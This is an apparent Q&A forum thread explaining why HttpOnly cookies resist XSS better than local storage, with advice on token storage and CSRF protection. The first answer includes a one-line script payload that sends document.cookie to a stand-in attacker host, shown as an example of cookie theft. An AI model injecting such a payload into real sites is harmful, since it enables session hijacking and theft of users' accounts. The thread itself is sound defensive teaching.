Why are cookies considered more secure against XSS?

If there are non HttpOnly cookies present, and attacker could steal them using XSS similar to the following

<script>new Image().src='https://evil.example.com?+escape(document.cookie)'</script>

This is the most devastating attack if session tokens are not protected by the HttpOnly flag because the attacker can simply set the cookie in their browser to log in as the victim.

If the HttpOnly flag is set, yes they can still make AJAX requests using their injected script, however this is more tricky to accomplish and doesn't give the attacker full interactive control of the hijacked session.

XSS is always a greater threat than CSRF. Even with HttpOnly cookies, the attacker could display a login form which sends credentials to the attacker once submitted. Also, any forms that require a CSRF token can simply be retrieved by the XSS attack.


HttpOnly cookies can be used by an attacker, in the sense that the XSS could cause the victim's browser to send requests and those requests would have cookies, but the values of those cookies are invisible to the attacker. The attacker is operating blind as to the value of those cookies.

By contrast, local storage is (by design) readable by JavaScript. It's not automatically included with requests, the way cookies are, but unlike cookies it's impossible to hide local storage data from an attacker using an XSS exploit.

When to use each depends on the data you're storing, and on your threat model. If the data you're storing is inherently sensitive - something like a social security number - then it shouldn't be stored in the client at all but if you absolutely must do so, use an HttpOnly and Secure cookie. If the data is something like a randomly-generated authentication token that stores no actual user data, then you should store it in a cookie to protect it from exposure in the case of XSS, but you need really good CSRF protection as well (note that XSS will allow the attacker to bypass CSRF protection, so it's still essential to also prevent XSS even though the attacker can't steal the cookie value). If it's a lot of data, or data that is only needed on the client, or data that the server only needs occasionally, it makes sense to put it in local storage.